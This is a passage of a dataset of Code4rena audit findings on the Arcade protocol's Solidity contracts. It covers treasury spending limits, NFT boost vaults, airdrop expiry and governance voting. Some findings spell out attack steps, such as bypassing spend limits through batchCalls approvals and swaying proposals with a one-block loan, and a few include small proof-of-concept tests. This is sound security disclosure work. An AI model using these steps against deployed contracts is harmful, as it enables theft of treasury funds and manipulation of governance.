description of the impact of this finding.\n\n## Proof of Concept\nTo prevent the admin calling tokens' addresses directly and bypassing spending functions, we check if spendThresholds[targets[i]].small != 0 in the batchCalls():\n\n```solidity\n function batchCalls(\n address[] memory targets,\n bytes[] calldata calldatas\n ) external onlyRole(ADMIN_ROLE) nonReentrant {\n if (targets.length != calldatas.length) revert T_ArrayLengthMismatch();\n // execute a package of low level calls\n for (uint256 i = 0; i < targets.length; ++i) {\n if (spendThresholds[targets[i]].small != 0) revert T_InvalidTarget(targets[i]);\n```\n\nHowever, the check can be bypassed, e.g.:\n\n1. Admin makes AcradeTreasury calls token A contract, which is not setThreshold yet.\n2. AcradeTreasury calls A.approve(spender, amount).\n3. AcradeTreasury is deposited with token A.\n4. The spender spends the tokens, bypassing the spend functions.\n\n## Tools Used\nManual Review\n\n## Recommended Mitigation Steps\nAn ad-hoc fix may be forbidding any token (including ones not set thresholds yet) contract calls. But in the long term, I think we should limit what admin can call with finer-grained functions and void this batchCalls funciton. \n\n\n## Assessed type\n\nERC20","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/541"}} +{"title":"Approve of zero in ArcadeTreasury.sol:gscApprove should be allowed","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L195\n\n\n# Vulnerability details\n\n## Impact\nGSC can't cancel an approval in the past.\n\n## Proof of Concept\nIn [EIP-20](https://eips.ethereum.org/EIPS/eip-20#approve), we use approve(spender, 0) to cancel an approval in the past. And the spec states \"clients SHOULD make sure to create user interfaces in such a way that they set the allowance first to 0 before setting it to another value for the same spender\".\n\nIn short, approving to zero is normal for ERC-20 token use cases. However, in ArcadeTreasury.sol:gscApprove, we disallow this behavior:\n\n```solidity\n function gscApprove(\n address token,\n address spender,\n uint256 amount\n ) external onlyRole(GSC_CORE_VOTING_ROLE) nonReentrant {\n if (spender == address(0)) revert T_ZeroAddress(\"spender\");\n if (amount == 0) revert T_ZeroAmount();\n\n // Will underflow if amount is greater than remaining allowance\n gscAllowance[token] -= amount;\n\n _approve(token, spender, amount, spendThresholds[token].small);\n }\n```\n\n## Tools Used\nManual Review.\n\n## Recommended Mitigation Steps\nRemove the amount == 0 check.\n\n\n## Assessed type\n\nERC20","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/518"}} +{"title":"NFTBoostVault is not compatible with some NFT collections","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/NFTBoostVault.sol#L306\n\n\n# Vulnerability details\n\n## Impact\n`NFTBoostVault` considers the `tokenId` zero as non-existent. As users are technically able to deposit any ERC1155, this might result in some incompatibilities, so any collections that consider `tokenId` valid cannot be fully used. \n\n## Proof of Concept\nIt's usually possible to mint a zero `tokenId`, as the EIP-1155 [does not require](https://eips.ethereum.org/EIPS/eip-1155) starting from 1. \n\nMoreover, the most valuable NFTs are those that have a small `tokenId`, usually in the single digits, and this can include the `tokenId = 0`.\n\nThese tokens won't be usable by `NFTBoostVault` as it will consider them invalid:\n\n```solidity\nif (newTokenAddress == address(0) || newTokenId == 0) revert NBV_InvalidNft(newTokenAddress, newTokenId);\n```\n\n## Tools Used\nManual review\n\n## Recommended Mitigation Steps\nConsider refactoring the code to allow a zero `tokenId`, to make the `NFTBoostVault` compatible with collections that do not consider the zero `tokenId` as invalid.\n\n\n## Assessed type\n\nInvalid Validation","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/514"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-arcade-findings/blob/main/data/ladboy233-Q.md).","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/513"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-arcade-findings/blob/main/data/c3phas-G.md).","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/498"}} +{"title":"Logic error in ArcadeTreasury.sol._spend/_approve: mismatch spentThisBlock and limit","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L361\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L387\n\n\n# Vulnerability details\n\n## Impact\nDifferent tokens' limits can block each other in spend/approve transactions of the same block. The same token's different size spends can also block each other.\n\n## Proof of Concept\nTo defend against flash load attack, in _spend()/_approve(), we add the spend amount to the current block spent amount and compare it to the limit passed in. The block spent amount is about all tokens:\n\n```solidity\n * @param limit max tokens that can be spent/approved in a single block for this threshold\n */\n function _spend(address token, uint256 amount, address destination, uint256 limit) internal {\n // check that after processing this we will not have spent more than the block limit\n uint256 spentThisBlock = blockExpenditure[block.number];\n if (amount + spentThisBlock > limit) revert T_BlockSpendLimit();\n blockExpenditure[block.number] = amount + spentThisBlock;\n\n // transfer tokens\n if (address(token) == ETH_CONSTANT) {\n // will out-of-gas revert if recipient is a contract with logic inside receive()\n payable(destination).transfer(amount);\n } else {\n IERC20(token).safeTransfer(destination, amount);\n }\n\n emit TreasuryTransfer(token, destination, amount);\n }\n```\n\nHowever, when we call the _spend(), the limit we passed in is token specific, e.g. in smallSpend:\n\n```solidity\n function smallSpend(\n address token,\n uint256 amount,\n address destination\n ) external onlyRole(CORE_VOTING_ROLE) nonReentrant {\n if (destination == address(0)) revert T_ZeroAddress(\"destination\");\n if (amount == 0) revert T_ZeroAmount();\n\n _spend(token, amount, destination, spendThresholds[token].small);\n }\n```\n\nSo tokens with a large limit can block token with a low limit to be spent in transitions of the same block:\n\n1. Token A has a limit of 1000, Token B has a limit of 10.\n2. Token A is spent by 50, making spentThisBlock > 50.\n3. Token B can't be spent now. It has to wait for the next block.\n\nThis means tokens with low limits may have to be the first to be spent in the block.\n\nIt also affects the same token's different size spends: mediumSpend --> smallSpend.\n\nThe impacts on approve relative functions are the same.\n\n## Tools Used\nManual Review.\n\n## Recommended Mitigation Steps\nWe should track block limits for each token, matching the limit parameter passed in:\n\n```solidity\nmapping(address => mapping(uint256 => uint256)) public blockExpenditure;\n```\n\n\n\n\n\n## Assessed type\n\nGovernance","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/496"}} +{"title":"Expiration in token airdrop is not inclusive of multiple airdrops and cannot be changed making contract unusable","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/token/ArcadeToken.sol#L74-L171\n\n\n# Vulnerability details\n\n## Impact\nThe expiration time stamp set in the constructor is one time thing and there is no setter function to change and for multiple airdrops, initial expiration may become obsolete and even on changing the merkle root the airdrop cannot happen.\n\n## Proof of Concept\nConsider the following scenerio:\n\n1. Airdrop is decided the be happen.Contract deployed all params set, expiration is 1 month from now.\n2. Merkle root is set by the owner for the beneficiaries to claim the airdrop using the following functions:\n```solidity\n function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {\n rewardsRoot = _merkleRoot;\n\n emit SetMerkleRoot(_merkleRoot);\n }\n```\n3. Now users can claim the airdrop using the the following function from `ArcadeMerkleRewards.sol`:\n```solidity\n function claimAndDelegate(address delegate, uint128 totalGrant, bytes32[] calldata merkleProof) external {\n // must be before the expiration time\n if (block.timestamp > expiration) revert AA_ClaimingExpired();\n // no delegating to zero address\n if (delegate == address(0)) revert AA_ZeroAddress(\"delegate\");\n // validate the withdraw\n _validateWithdraw(totalGrant, merkleProof);\n\n // approve the voting vault to transfer tokens\n token.approve(address(votingVault), uint256(totalGrant));\n // deposit tokens in voting vault for this msg.sender and delegate\n votingVault.airdropReceive(msg.sender, totalGrant, delegate);\n }\n```\nReward claimed and delegated. All good for the first iteration. One month has passed.\n\nBut lets say now arcade wants to do the airdrop again to same or different set of addresses. Merkle root is set with generated from the beneficiaries data (address, claimable amount) etc. Ideally this should have worked but the catch is expiration have passed and cannot be changed. So the this contract becomes useless now leading the team to do the costly redeploy and transactions once again.\n## Tools Used\nManual review\n## Recommended Mitigation Steps\nMake a setter function for the expiration to be able to make multiple airdrops over different period of time, each with its own expiration.\n\n\n## Assessed type\n\nDoS","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/495"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-arcade-findings/blob/main/data/0xDING99YA-Q.md).","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/492"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-arcade-findings/blob/main/data/SM3_SS-G.md).","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/489"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-arcade-findings/blob/main/data/BugBusters-Q.md).","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/485"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-arcade-findings/blob/main/data/Aymen0909-G.md).","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/479"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-arcade-findings/blob/main/data/immeas-Q.md).","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/467"}} +{"title":"NFTBoostVault.sol user can't use NFT with tokenID = 0","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/NFTBoostVault.sol#L247\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/NFTBoostVault.sol#L317\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/NFTBoostVault.sol#L632\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/NFTBoostVault.sol#L472\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/NFTBoostVault.sol#L659\n\n\n# Vulnerability details\n\n## Impact\nUsers can't use NFTs with tokenID = 0 even if they have multipliers.\n\n## Proof of Concept\nIn NFTBoostVault.sol:setMultiplier(), we didn't force the tokenId not to be zero:\n\n```solidity\n function setMultiplier(address tokenAddress, uint128 tokenId, uint128 multiplierValue) public override onlyManager {\n if (multiplierValue > MAX_MULTIPLIER) revert NBV_MultiplierLimit();\n\n NFTBoostVaultStorage.AddressUintUint storage multiplierData = _getMultipliers()[tokenAddress][tokenId];\n // set multiplier value\n multiplierData.multiplier = multiplierValue;\n\n emit MultiplierSet(tokenAddress, tokenId, multiplierValue);\n }\n```\n\nMore important, in [ERC-1155 spec](https://eips.ethereum.org/EIPS/eip-1155) and openzeppelin's ERC-1155 [implementation](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/ERC1155.sol#L149), no restriction on ID=0 is applied, so tokenID=0 is not an abnormal case.\n\n## Tools Used\nManual Review.\n\n## Recommended Mitigation Steps\nWe should remove tokenId != 0 restrictions in NFTBoostVault.sol.\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/457"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-arcade-findings/blob/main/data/oakcobalt-Q.md).","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/449"}} +{"title":"NFTBoostVault.sol doesn't comply with ERC-1155 Token Receiver requests","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/NFTBoostVault.sol#L697\n\n\n# Vulnerability details\n\n## Impact\nNFTBoostVault may be unable to receive NFT cause it can't handle supportsInterface required by the ERC-1155 specification.\n\n## Proof of Concept\nIn the [ERC-1155](https://eips.ethereum.org/EIPS/eip-1155#erc-1155-token-receiver) spec, it states:\n\n```\nSmart contracts MUST implement all of the functions in the ERC1155TokenReceiver interface to accept transfers. See “Safe Transfer Rules” for further detail.\n\nSmart contracts MUST implement the ERC-165 supportsInterface function and signify support for the ERC1155TokenReceiver interface to accept transfers. See “ERC1155TokenReceiver ERC-165 rules” for further detail.\n\nThe implementation MUST call the function supportsInterface(0x4e2312e0) on the recipient contract, providing at least 10,000 gas.\n\nEtc.\n```\nAs shown above when transfer tokens to a ERC-1155 receiver, the implementation contract will use supportsInterface to decide if the receiver can receive the tokens. But NFTBoostVault.sol doesn't implement the function, which can lead to DoS.\n\nWe can add a test in test/NftBoostVault.ts:\n\n```typescript\n it(\"ERC1155TokenReceiver ERC-165 rules\", async () => {\n const { signers, nftBoostVault, reputationNft, mintNfts, setMultipliers } = ctxGovernance;\n await nftBoostVault.connect(signers[0]).supportsInterface(\"0x01ffc9a7\").to.be.true;\n await nftBoostVault.connect(signers[0]).supportsInterface(\"0x4e2312e0\").to.be.true;\n });\n\n```\n\nThe output is:\n\n```\n Governance Operations with NFT Boost Voting Vault\n Governance flow with NFT boost vault\n 1) ERC1155TokenReceiver ERC-165 rules\n\n\n 0 passing (2s)\n 1 failing\n\n 1) Governance Operations with NFT Boost Voting Vault\n Governance flow with NFT boost vault\n ERC1155TokenReceiver ERC-165 rules:\n TypeError: nftBoostVault.connect(...).supportsInterface is not a function\n at /home/qiuhao/web3/c4/2023-07-arcade/test/NftBoostVault.ts:185:53\n at Generator.next ()\n at /home/qiuhao/web3/c4/2023-07-arcade/test/NftBoostVault.ts:8:71\n at new Promise ()\n at __awaiter (test/NftBoostVault.ts:4:12)\n at Context. (test/NftBoostVault.ts:183:61)\n```\n\n## Tools Used\nManual Review.\n\n## Recommended Mitigation Steps\nImplement the supportsInterface according to ERC1155TokenReceiver ERC-165 rules:\n\n```solidity\n function supportsInterface(bytes4 interfaceID) external view returns (bool) {\n return interfaceID == 0x01ffc9a7 || // ERC-165 support (i.e. `bytes4(keccak256('supportsInterface(bytes4)'))`).\n interfaceID == 0x4e2312e0; // ERC-1155 `ERC1155TokenReceiver` support (i.e. `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\")) ^ bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`).\n }\n```\n\nAlso, it would be better to implement onERC1155BatchReceived to comply with the spec fully.\n\n\n## Assessed type\n\nToken-Transfer","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/447"}} +{"title":"Users/delegatees may lose voting power if they wrongly update NFT","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/NFTBoostVault.sol#L329\n\n\n# Vulnerability details\n\n## Impact\nUsers may lose voting power if they wrongly update NFT.\n\n## Proof of Concept\nIn updateNft(), we only make sure the new NFT address and ID are not zero, but not check if getMultiplier() of this NFT will return zero, this will make _currentVotingPower return zero:\n\n```solidity\n function _currentVotingPower(\n NFTBoostVaultStorage.Registration memory registration\n ) internal view virtual returns (uint256) {\n uint128 locked = registration.amount - registration.withdrawn;\n\n if (registration.tokenAddress != address(0) && registration.tokenId != 0) {\n return (locked * getMultiplier(registration.tokenAddress, registration.tokenId)) / MULTIPLIER_DENOMINATOR;\n } // @audit-info NFT can have zero multiplier\n\n return locked;\n }\n```\n\nEventually, the users or delegatees will lose all voting power even if he has governance tokens. They can cancel the update by another updateNft call or withdrawal the NFT, but since this can lead to wrongly voting power loss, I mark this as a medium issue.\n\n## Tools Used\nManual Review.\n\n## Recommended Mitigation Steps\nWe can add checks in updateNft() to ensure the NFT has a multiplier:\n\n```solidity\n function updateNft(uint128 newTokenId, address newTokenAddress) external override nonReentrant {\n if (newTokenAddress == address(0) || newTokenId == 0) revert NBV_InvalidNft(newTokenAddress, newTokenId);\n\n if (IERC1155(newTokenAddress).balanceOf(msg.sender, newTokenId) == 0) revert NBV_DoesNotOwn();\n if (getMultiplier(newTokenAddress, newTokenId) == 0) revert WRONG_NFT(); // <-- check\n // ......\n }\n```\n\n\n## Assessed type\n\nGovernance","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/436"}} +{"title":"Proposal vote power can be easily manipulated","severity":"medium","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeGSCCoreVoting.sol#L32\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/external/council/CoreVoting.sol#L172-L181\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/external/council/CoreVoting.sol#L234-L238\n\n\n# Vulnerability details\n\n## Impact\n`ArcadeGSCCoreVoting` can be a target of vote manipulation: an attacker might be able to take a huge loan (even uncollateralized) for a single block before creating a proposal.\n\nWhen voting, only this single block is checked when calculating the `votingPower`: this may lead to an attacker being able to execute arbitrary proposals with minimal risks involved.\n\n## Proof of Concept\n\nWhen a proposal is created, the timestamp registered is the block before the creation. This mitigates flash loan attacks, but it's still possible to manipulate the vote with a normal loan:\n\n```solidity\nproposals[proposalCount] = Proposal(\n proposalHash,\n // Note we use blocknumber - 1 here as a flash loan mitigation.\n uint128(block.number - 1), //@audit created\n uint128(block.number + lockDuration),\n uint128(block.number + lockDuration + extraVoteTime),\n uint128(quorum),\n proposals[proposalCount].votingPower,\n uint128(lastCall)\n);\n```\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/external/council/CoreVoting.sol#L172-L181\n\nDuring a `vote`, the `msg.sender` voting power is queried and it will use the previous `created` field:\n\n```solidity\nfor (uint256 i = 0; i < votingVaults.length; i++) {\n // ensure there are no voting vault duplicates\n for (uint256 j = i + 1; j < votingVaults.length; j++) {\n require(votingVaults[i] != votingVaults[j], \"duplicate vault\");\n }\n require(approvedVaults[votingVaults[i]], \"unverified vault\");\n votingPower += uint128(\n IVotingVault(votingVaults[i]).queryVotePower(\n msg.sender,\n proposals[proposalId].created,\n extraVaultData[i]\n )\n );\n}\n```\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/external/council/CoreVoting.sol#L234-L238\n\nIf the attacker took a huge loan (even uncollateralized) for that single block, they would be able to manipulate the vote with minimal slippage, as it's only one block.\n\nIf this happens, they would be able to execute any arbitrary code, if `queryVotePower` depends on the amount of tokens held by the attacker.\n\n## Note about severity\n\nBy reading the comments in `ArcadeGSCCoreVoting` it seems that the voting vault used will be the `ArcadeGSCVault`:\n\n```solidity\n * The Arcade GSC Core Voting contract allows members of the GSC vault to vote on and execute proposals\n * in an instance of governance separate from general governance votes.\n```\n\nIn this case, this issue can't occur, as the `votingPower` does not depend on the amount held by the attacker:\n\n```solidity\n// If the address queried is the owner they get a huge number of votes\n// This allows the primary governance timelock to take any action the GSC\n// can make or block any action the GSC can make. But takes as many votes as\n// a protocol upgrade.\nif (who == owner) {\n return 100000;\n}\n// If the who has been in the GSC longer than idleDuration\n// return 1 and otherwise return 0.\nif (\n members[who].joined > 0 &&\n (members[who].joined + idleDuration) <= block.timestamp\n) {\n return 1;\n} else {\n return 0;\n} \n```\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/external/council/vaults/GSCVault.sol#L145-L167\n\nHowever, it's worth noting that this situation might change in the future, as `ArcadeGSCCoreVoting` approved vaults can be multiple, and they are not immutable:\n\n```solidity\n/// @notice Updates the status of a voting vault.\n/// @param vault Address of the voting vault.\n/// @param isValid True to be valid, false otherwise.\nfunction changeVaultStatus(address vault, bool isValid) external onlyOwner {\n approvedVaults[vault] = isValid;\n}\n```\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/external/council/CoreVoting.sol#L333-L338\n\nAs there are other vaults that use tokens as voting power (e.g [LockingVault](https://github.com/code-423n4/2023-07-arcade/blob/main/contracts/external/council/vaults/LockingVault.sol#L72-L86)), there is a real possibility that this might occur in the future, so I'm flagging it as high severity.\n\n\n## Tools Used\nManual review\n\n## Recommended Mitigation Steps\nConsider using a TWAP to check the voting power of a proposal, instead of checking only the block before the proposal was created.\n\n\n## Assessed type\n\nTiming","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/434"}} +{"title":"Execution result of a proposal that involve multiple spending/approving calls is affected by calls ordeing due to different tokens shared the same `blockExpenditure`","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L358-L362\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L384-L388\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L68\n\n\n# Vulnerability details\n\n## Impact\nCore voting's proposal can contain multiple spending/approving calls to treasury. Ordering of spending/approving calls to treasury can affect execution result of the proposal. Some ordering are fine while other cause the execution to fail.\n\nTreasury track spending via `blockExpenditure` state variable which is shared between tokens. Since each token value per unit are not equal (e.g. 1 ETH worth more than 1 PEPE or WBTC has 8 decimals while ETH has 18). When `blockExpenditure` is consumed by larger units token, subsequent spending of smaller units token might failed due to all expenditure being consumed by larger token.\n```\n function _spend(address token, uint256 amount, address destination, uint256 limit) internal {\n // check that after processing this we will not have spent more than the block limit\n uint256 spentThisBlock = blockExpenditure[block.number]; // @audit state is shared between tokens\n if (amount + spentThisBlock > limit) revert T_BlockSpendLimit(); // @audit in the same block, PEPE spending will be counted as ETH spending as well\n```\n\n## Proof of Concept\n```\n function testSpendingCallsOrderAffectExecutionResult() public {\n vm.startPrank(governance);\n IArcadeTreasury.SpendThreshold memory thresholds =\n IArcadeTreasury.SpendThreshold({small: 1 ether, medium: 10 ether, large: 100 ether});\n arcadeTreasury.setThreshold(ETH_CONSTANT, thresholds);\n thresholds = IArcadeTreasury.SpendThreshold({small: 100 ether, medium: 1000 ether, large: 10000 ether});\n arcadeTreasury.setThreshold(address(arcadeToken), thresholds);\n vm.stopPrank();\n\n uint256 snapshot = vm.snapshot();\n\n vm.startPrank(coreVoting);\n // Spend ETH before arcadeToken is fine\n arcadeTreasury.smallSpend(ETH_CONSTANT, 1 ether, coreVoting);\n arcadeTreasury.smallSpend(address(arcadeToken), 1 ether, coreVoting);\n\n vm.revertTo(snapshot);\n\n // Can't spend arcadeToken before ETH because ETH has smaller spending cap\n arcadeTreasury.smallSpend(address(arcadeToken), 1 ether, coreVoting);\n vm.expectRevert(abi.encodeWithSignature(\"T_BlockSpendLimit()\"));\n arcadeTreasury.smallSpend(ETH_CONSTANT, 1 ether, coreVoting);\n }\n```\n\n## Tools Used\n- Manual inspection\n- Foundry\n\n## Recommended Mitigation Steps\nTrack `blockExpenditure` separately for each token.\n```\n /// @notice mapping storing how much a token is spent or approved in each block.\n mapping(address => mapping(uint256 => uint256)) public blockExpenditure;\n\n function _spend(address token, uint256 amount, address destination, uint256 limit) internal {\n // check that after processing this we will not have spent more than the block limit\n uint256 spentThisBlock = blockExpenditure[token][block.number];\n if (amount + spentThisBlock > limit) revert T_BlockSpendLimit();\n blockExpenditure[token][block.number] = amount + spentThisBlock;\n ...\n }\n\n function _approve(address token, address spender, uint256 amount, uint256 limit) internal {\n // check that after processing this we will not have spent more than the block limit\n uint256 spentThisBlock = blockExpenditure[token][block.number];\n if (amount + spentThisBlock > limit) revert T_BlockSpendLimit();\n blockExpenditure[token][block.number] = amount + spentThisBlock;\n ...\n }\n```\n\n\n## Assessed type\n\nOther","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/433"}} +{"title":"reputation badges can be transferred to others for higher voting power than delegation","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/nft/ReputationBadge.sol#L39\n\n\n# Vulnerability details\n\n## Impact\nReputation badges can be transferred to others for higher voting power than delegation.\n\n## Proof of Concept\nAccording to README.md, reputation NFTs are minted to award users and can be used in governance to give a multiplier to the user's voting power. So it has two functions:\n\n1. Represent the reputation a user got.\n2. Give the user more voting power.\n\nHowever, a user can transfer his reputation NFTs to others for more voting power than delegation. Here is a PoC:\n\n1. A reputation token can multiply one's voting power by 1.5 times.\n2. Alice got the reputation NFT and has 10 voting power.\n3. Bob has 100 voting power.\n4. If Alice delegates her voting power to Bob, Bob will have 100+15=115 voting power. But if she transfers the NFT to Bob (then delegates), Bob will have 150(+10) voting power.\n5. Bob gets the NFT (maybe buying it) for more voting power and reputation.\n\nAs shown above, we shouldn't allow reputation transfer as it can be used to tamper voting power and also present wrong reputations.\n\n\n## Tools Used\nManual Review.\n\n## Recommended Mitigation Steps\nReputationBadge.sol should override transfer* and approve* functions in the ERC-1155 contract it inherited.\n\n\n## Assessed type\n\nGovernance","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/432"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-arcade-findings/blob/main/data/DadeKuma-Q.md).","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/422"}} +{"title":"Missing `payable` on `ArcadeTreasury::batchCalls()` limits its use, preventing to execute actions that require ETH","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L341\n\n\n# Vulnerability details\n\n## Summary\n\n`ArcadeTreasury::batchCalls()` is a function to execute arbitrary calls from the treasury.\n\nThe function is lacking a `payable` modifier, and the `.call()` instruction is not providing the `value`.\n\nThis means that the function is unable to make calls that require ETH to be provided, limiting its use.\n\n## Impact\n\n`batchCalls()` functionality is limited, as it can't execute calls to contracts that require a `msg.value` to be provided.\n\n## Proof of Concept\n\nMissing `payable` and `value` on `batchCalls()`:\n\n```solidity\n function batchCalls(\n address[] memory targets,\n bytes[] calldata calldatas\n@> ) external onlyRole(ADMIN_ROLE) nonReentrant { // @audit missing `payable`\n if (targets.length != calldatas.length) revert T_ArrayLengthMismatch();\n // execute a package of low level calls\n for (uint256 i = 0; i < targets.length; ++i) {\n if (spendThresholds[targets[i]].small != 0) revert T_InvalidTarget(targets[i]);\n@> (bool success, ) = targets[i].call(calldatas[i]); // @audit missing `value`\n // revert if a single call fails\n if (!success) revert T_CallFailed();\n }\n }\n```\n\n[ArcadeTreasury.sol#L341](https://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L341)\n\n## Tools Used\n\nManual Review\n\n## Recommended Mitigation Steps\n\nAdd a `payable` modifier to the function, and provide the corresponding `value` for each of its calls, verifying they sum up to the provided `msg.value` to the function.\n\n\n## Assessed type\n\nPayable","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/421"}} +{"title":"Issues with treasury `batchCalls` functionality","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L333-L345\n\n\n# Vulnerability details\n\n## Impact\nIssues are\n1. Transferring tokens via `batchCalls` can bypass spending limit set by governance. Depending on how timelock function execution is set, if executing timelock requires fewer vote than core voting spending, the function would defeat the purpose of the spending mechanism entirely.\n2. Currently `batchCalls` can only makes call to token address that has `spendThresholds` set. But considered description from function's natspec \"function to execute arbitrary calls from the treasury\" it doesn't fulfill its propose since it can't execute arbitrary calls due to spending limit check. If it were to make arbitrary calls, governance must set `spendingThreshold` for target address first which doesn't make sense given the target is arbitrary address.\n\n## Tools Used\n- Manual inspection\n\n## Recommended Mitigation Steps\n1. Add check that if the call is ERC20 transfer call of token that has spending threshold set, it should check for spending limit as well.\n2. Create separate whitelist for which address the treasury can makes a call to to prevent call to malicious address. As attacker can propose a proposal execute malicious code disguise as benign proposal like what happened to [Tornado Cash governance incident](https://twitter.com/samczsun/status/1660012956632104960?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1660012956632104960%7Ctwgr%5E191b923ae67913a78e5afab6a50c81cb9c2fdea6%7Ctwcon%5Es1_)\n```\n function batchCalls(address[] memory targets, bytes[] calldata calldatas)\n external\n onlyRole(ADMIN_ROLE)\n nonReentrant\n {\n if 